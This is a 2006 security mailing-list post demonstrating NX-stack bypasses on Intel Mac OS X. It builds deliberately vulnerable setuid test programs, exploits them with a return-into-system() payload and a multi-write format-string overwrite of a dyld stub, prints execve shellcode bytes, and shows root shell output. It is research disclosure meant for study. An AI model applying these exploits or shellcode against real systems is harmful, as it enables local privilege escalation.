Non eXecutable Stack Lovin on OSX86 kf[at]digitalmunition[dot]com 05/18/06
After my obligatory Cinco De Mayo Corona hangover had passed, I decided it was time to score a little Non eXecutable Mac Mini Hotness from my local Apple retailer. After calmly explaining to the salesman "NO, I don't want a keyboard OR a mouse... no monitor! NO extra ram either, JUST the MacMini!" I made my purchase and returned home quickly. Before I knew it the OS was installed and it was time to lift up the Mini's skirt and see what was going on behind the scenes. The first thing I wanted to do was verify that the non executable stack was actually doing what it was designed to do. Simply creating a vulnerable program and trying to run code from the stack was enough to validate that Apple had at the very least made proper use of the NX flag in their intel product line. k-fs-computer:~ kf$ cat > test.c // make me setuid root main(int *argc, char **argv) { char buf[200]; sprintf(buf, "%s", argv[1]); printf("test\n"); printf("buf: %s\n", buf); return 0; } k-fs-computer:~ kf$ cc -o test test.c test.c: In function 'main': test.c:4: warning: incompatible implicit declaration of built-in function 'sprintf' test.c:5: warning: incompatible implicit declaration of built-in function 'printf' k-fs-computer:~ kf$ gdb -q ./test Reading symbols for shared libraries .. done (gdb) `perl -e 'print "A" x 212 . "ABCD"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /Users/kf/test `perl -e 'print "A" x 212 . "ABCD"'` test buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x44434241 0x44434241 in ?? () After locating the length to overwrite eip we simply need to locate our string and try to return into it. (gdb) x/2s $edi 0xbffffbcc: "/Users/kf/test" 0xbffffbdb: 'A' <repeats 200 times>... (gdb) r `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /Users/kf/test `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'` test buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xbffffbdb 0xbffffbdb in ?? () As you can see from the KERN_PROTECTION_FAILURE Apple has done a successful job at implementing the Intel NX bit support in OSX. The presence of the NX bit alone however does not mean that OSX is immune to code execution attacks. Classic non executable stack bypass techniques involve return into libc based exploits and OSX is not exempt from this style of attack by any means. The KERN_PROTECTION_FAILURE failure we experienced above can in theory be bypassed by doing a simple return into system(). In practice it seems to work quite well. Plenty of papers outline the methods involved in return into system() style attacks so I won't go into them here. In essence what we need is for the buffer to have the following structure: < Ax212 > < system address > < exit address > < /bin/sh address > (Thanks to JohnH - [EMAIL PROTECTED] for reminding me of the *proper* place to stash "/bin/sh" ) Once everything is in place we are ready to rock, no shellcode hassle and no KERN_PROTECTION_FAILURE k-fs-computer:~ kf$ export SSH_CLIENT=" /bin/sh -i " k-fs-computer:~ kf$ ./test `perl -e 'print "A"x212 . pack('l',0x90047530) . pack('l', 0x90010bf0) . pack('l',0xbffffd02)'` test buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... ýÿ¿ sh-2.05b# id uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm), 79(appserverusr), 80(admin) This should come as no shock... this technique is nothing new, but we should keep in mind that this IS an option for future exploits to take advantage of. Having got *that* out of the way I wanted to get a little closer with my Mini, you know *really* get to know her. Since I had already peaked under the skirt a bit I decided it was time for the clothes to come completely off. =] Consider this example program, how exactly can we make it give us some lovin? #include <stdio.h> #define BUFLEN 1024 int main(void) { char buf[BUFLEN]; while(fgets(buf,BUFLEN,stdin) != NULL){ printf(buf); printf("\n"); } return 0; } If this were a linux box I would simply start down the path of overwriting the .dtors section. Since we are on an OSX machine this is simply not an option as .dtors does not exist (unless you are using Objective-C?). Saved return addresses were an option I could explore however I wanted to find a more universal address to overwrite. After some poking around I decided that dyld_stubs seemed ripe for exploitation, they seem to be at fairly static across various updates to OSX and the addresses are the same for all binaries. Between 0xa0011000 and 0xa00126f0 we find multiple addresses that can be overwritten. Since the sample I used was a simple local vulnerability overwriting something associated with the exit() routine seemes to make the most sense. The stub for cxa_finalize() makes a good target for local exploitation as it is called by exit(). 0x90010ae3 <exit+19>: call 0xa00119f1 <dyld_stub___cxa_finalize> dlyd_stub___cxa_finalize() simply contains an instruction to jump into the real __cxa_finalize() code. (gdb) x/i dyld_stub___cxa_finalize 0xa00119f1 <dyld_stub___cxa_finalize>: jmp 0x90010aff <__cxa_finalize> If we overwrite this instruction (and consequently the one after it) with our own jmp code we can effectively take control of our target program. Attempting to jump into our format string would do us no good in this case due to the fact that it is located on the programs stack. k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%x.%x | ./test3 AAAABBBB400.a0001bc0.0.41414141.42424242 k-fs-computer:~ kf$ ulimit -c 10000000 k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%n.%n | ./test3 Segmentation fault (core dumped) k-fs-computer:~ kf$ gdb -q ./test3 /cores/core.10089 Reading symbols for shared libraries .. done Core was generated by `./test3'. #0 0x9000cd50 in __vfprintf () (gdb) x/10s $esi-16 0xbffff920: "AAAABBBB%x.%x.%x.%n.%n\n" Jumping into 0xbffff920 would only result in the KERN_PROTECTION_FAILURE we recieved earlier. Because of this we will need some other location to stash shellcode. We want lovin but we won't get it this way. Using vmmap we can locate a potential area to overwrite. In this particular instance we are going to take advantage of the fact that we can write to the __IMPORT region and leverage that as a springboard into the MALLOC region. The only problem at this point is how do we get shellcode into the MALLOC region? k-fs-computer:~ kf$ vmmap 10112 Virtual Memory Map of process 10112 (bash) Output report format: 2.0 ==== Non-writable regions for process 10372 ... __IMPORT a0011000-a0013000 [ 8K] r-x/r-x SM=COW /usr/lib/libSystem.B.dylib ... ==== Writable regions for process 10118 MALLOC 01800000-02008000 [ 8224K] rw-/rwx SM=PRV DefaultMallocZone_0x300000 ... Since we are dealing with a format string vulnerability this seems like a classic time to attempt a multi write format string attack. In essence we will need to perform 16 writes to both the MALLOC and __IMPORT regions. We will have to make 12 seperate writes to get Nemo's x86 execve placed in the MALLOC region and then 2 more for the jump code. Keeping in mind NULL characters I chose to go with 0x01811111 as my write address for the execve() code. We want this area of memory to look as follows: 0x1811111: 0xc031 0x1811113: 0x6850 0x1811115: 0x2f2f 0x1811117: 0x6873 0x1811119: 0x2f68 0x181111b: 0x6962 0x181111d: 0x896e 0x181111f: 0x50e3 0x1811121: 0x5454 0x1811123: 0x5353 0x1811125: 0x3bb0 0x1811127: 0x80cd In essence this will create the following in memory: // Shellcode by Nemo - nemo[at]felinemenace[dot]org // execve of /bin/sh // OSX x86 // Reworked BSD code from Metasploit ? char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x54\x53\x53\xb0\x3b\xcd\x80"; int main(int ac, char **av) { void (*fp)() = shellcode; fp(); } Next we want the jumpcode located at dyld_stub___cxa_finalize() to looks like this: 0xa00119f1 <dyld_stub___cxa_finalize>: 0x11b8 0xa00119f3 <dyld_stub___cxa_finalize+2>: 0x8111 0xa00119f5 <dyld_stub___cxa_finalize+4>: 0xff01 0xa00119f7 <dyld_stub__dyld_get_image_header_containing_address+1>: 0x00e0 These bytes will translate into our jump to 0x1811111. (gdb) x/i 0xa00119f1 0xa00119f1 <dyld_stub___cxa_finalize>: mov $0x1811111,%eax 0xa00119f6 <dyld_stub__dyld_get_image_header_containing_address>: jmp *%eax Putting this all together we wind up with a nice way to bypass the NX flags and get a little Non eXecutable Lovin. For what ever reason there is currently some issue with this particular example calling /bin/sh because of this I will temporarily replace /bin/sh with /usr/bin/id. I have already invested quite a bit of time into this and quite honestly don't feel like debuging what is going on. I got my Lovin... if you want your own feel free to dive in. k-fs-computer:~ kf$ sudo chown root: /Users/kf/dyld_stub_overwrites/test3 k-fs-computer:~ kf$ sudo chmod 4755 /Users/kf/dyld_stub_overwrites/test3 k-fs-computer:~ kf$ sudo cp /usr/bin/id /bin/sh Regardless of that minor triviality we can see that we are able to execute code despite the NX flag being present. Our Lovin has arrived. k-fs-computer:~/dyld_stub_overwrites kf$ ./multiwrite.pl > file k-fs-computer:~/dyld_stub_overwrites kf$ ./test3 < file ... 00000000000001610540555 uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm), 79(appserverusr), 80(admin) The goal of this text is to show that unlike some folks would like you to believe the move to x86 architecture really does open up new avenues of exploitation for OSX systems. Although the NX bit ups the bar it does not prevent exploitation. I would like to take the time to once again thank John Hale for all of his help. Not only do you point out my mistakes, but your code snippets help make me a lazy man. Much thanks also goes to Nemo of Feline Menace for the OSX x86 shellcode and other suggestions. Example exploit code can be located at: http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz Enjoy it while you can folks... I have a feeling that both shared library and heap randomization are on the way.
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/